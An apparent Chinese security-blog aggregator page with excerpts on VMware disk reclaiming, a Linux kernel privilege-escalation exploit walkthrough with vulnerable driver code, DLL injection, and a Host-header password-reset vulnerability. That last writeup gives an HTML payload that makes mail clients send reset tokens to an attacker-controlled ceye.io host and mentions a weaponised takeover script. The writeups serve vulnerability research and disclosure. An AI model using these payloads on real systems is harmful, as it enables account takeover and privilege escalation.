Aggregator

将 VMware 虚拟机精简分配的磁盘空间返还给宿主机

K4YT3X
6 years 1 month ago
在给虚拟机分配磁盘时，为了不让分配的磁盘立马占用大量宿主机空间，可以使用精简分配（thin provisioning）。虚拟机的磁盘文件大小会随着磁盘中内容的增多而增加，但是却不会随着文件的删除而减少。这篇文章将介绍如何把虚拟机精简分配的磁盘空闲的空间返还给宿主机。

linux 内核提权总结(demo+exp分析) -- 任意读写(一)

povcfe
6 years 1 month ago
发表于看雪论坛 cred篇 每个线程在内核中都对应一个线程结构块thread_info thread_info中存在task_struct类型结构体 struct task_struct中存在cred结构体用来保存线程权限 攻击流程 定位某进程的cred结构体 将cred结构提结构体的uid~fsgid全部覆写为0(前28字节) 一. 利用步骤 1. 定位cred结构体 task_struct中存在char comm[TASK_COMM_LEN] comm字符串使用prctl函数的PR_SET_NAME自行设置 在内存中搜索被设置后的comm字符串，cred结构体地址就在附近 泄漏cred结构体地址，定向覆盖cred结构体 2. 进程权限被修改，变成root进程，执行system("/bin/sh")，弹出root shell 二. 驱动代码 #include <linux/init.h> #include <linux/module.h> #include <linux/cdev.h> #include <linux/device.h> #include <linux/fs.h> #include <linux/uaccess.h> #include <asm/cacheflush.h> #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 #define SET_MEM 0x100003 dev_t dev_id = 0; struct cdev cdev_0; struct class *dev_class; struct vunl { char *point; size_t size; } VUNL; long rw_any_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { int ret = 0; switch (cmd) { case CHANGE_POINT: ret = copy_from_user(&VUNL, (struct vunl *)(arg), sizeof(struct vunl)); break; case RW_READ: ret = copy_to_user((char *)arg, (char *)VUNL.

Windows dll注入 - luoyesiqiu

博客园_luoyesiqiu
6 years 2 months ago
概念 DLL注入（英语：DLL injection）是一种计算机编程技术，它可以强行使另一个进程加载一个动态链接库以在其地址空间内运行指定代码[1]。在Windows操作系统上，每个进程都有独立的进程空间，即一个进程是无法直接操作另一个进程的数据的（事实上，不仅Windows，许多操作系统也是如此）
luoyesiqiu

【转载】PHP 实现 Base64 编码/解码

她和她的猫
6 years 2 months ago
对于现在很多的 PHP 程序员而言，绝大部分时间都是在做业务有关的代码，其它方面可能涉及的比较少，因此今天准备和大家讲讲不一样的知识，Base64 加密算法，上午花了一点儿时间用 PHP

【0day】不一样的密码重置漏洞（以U█P教务系统为例）

Driver Tom's Blog
6 years 2 months ago
0x00 概述 在阅读了Host-Header欺骗在密码找回中的利用之后，我很受启发，拿着██大学的教务系统做了测试，发现了同类型漏洞存在，并且改进了漏洞利用方式使其具有更高的杀伤性。
由于██大学直接选择的是著名的U█P系统作为教务系统，因此这是个通用型的漏洞,理论上通杀各类U█P系统。
但对于该漏洞的利用需要受害者的交互还会在邮箱中留下记录，出了事一查一个准，因此妄想通过该漏洞拿到老师账号改成绩是不现实的。 0x01 背景：HOST头不可信 在编写WEB应用的时候，程序员往往不会直接把网站的host硬编码到代码中，而是通过动态手段获取（如$_SERVER['HTTP_HOST'])。 但是问题在于这个HOST并不是WEB应用自己带的,而是用户提供的！下面举个小例子来证明这一点。 看看以下代码 <?php var_dump($_SERVER['HTTP_HOST']); ?> 我们可以直接访问来测试它 获取如下结果



再用localhost.fbi.gov来访问（localhost.fbi.gov指向了127.0.0.1）

获取到的HOST就变成了localhost.fbi.gov
我们可以看到，这个HTTP_HOST是从用户提交的HOST头中获取的，因此是不可信的
所以，攻击者可以通过污染HOST头让服务器做出一些设计者意想不到的事情。
0x02 漏洞发现 首先我们注意到，██大学教务系统在使用IP或者域名访问来请求重置密码的时候，链接的HOST不一样 这是用IP访问的时候

这是用域名访问的时候
我们可以猜测，这个链接的开头是由HOST头动态拼接的，因此或许可以利用这一点来实现攻击，但是在我初次尝试的时候遇到了一点挫折
服务器拒绝了我提供的HOST头，直白的host deny不留一丝情面 但是只需要略施小计就会发现只要我们提供的HOST头里面包含了合法的HOST就能够通过它的认证
现在我们可以通过替换这个HOST头实施攻击了 首先在BurpSuite中做出如下替换
接着再申请找回密码，密码重置邮件就变成这样了
可以看到，攻击者可以构造特殊的链接，让受害者点击链接之后把重置token送到攻击者的服务器上 0x03 杀伤性提升 尽管看起来很有用，但我相信任何智力正常的用户都不会点击一个莫名其妙的链接，所以我们需要改进我们的payload来提高杀伤性。 众所周知，邮箱可以加载图片，如果我们想办法让邮箱自动加载图片，那岂不是可以在用户点开邮件的瞬间获取其重置token？ 抱着这样的想法，首先查看了邮件中的html代码并整理如下     <br><a href='http://[inject]/forgetPassword/modifyPassword?sid=[sid]&id=[id]'>         http://[inject]/forgetPassword/modifyPassword??sid=[sid]&id=[id]</a>         <br> 其中[inject]是我们的HOST头，是我们可控的部分

不难构造出html代码'></a><img src='http://[ceye子域名].ceye.io/[IP地址]:80/ 来让html变成这样
（由于[inject]在两个地方，笔者实在无法构造更完美的代码）     <br><a href='http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword?sid=[sid]&id=[id]'>         http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword??sid=[sid]&id=[id]</a>         <br> 我们来抓包改HOST测试下


发现这成功让QQ邮箱将这部分视为图片并尝试加载

接下来我们可以看到ceye接收到结果
至此我们已经成功减少了交互的复杂性，提升了该漏洞的杀伤能力
0x04 武器化 对于这类漏洞，必须要有一个server来接受参数，因此编写利用代码是很重要的。 我用Flask构建了一个简单的脚本，它能够开一个服务接收sid和id并自动化重置密码
同时返回图片降低受害者警惕，代码已经放在这里，可以参考使用

0x05 如何修复漏洞 把host是否合法的判断由包含换成等于


DriverTom

Managed ad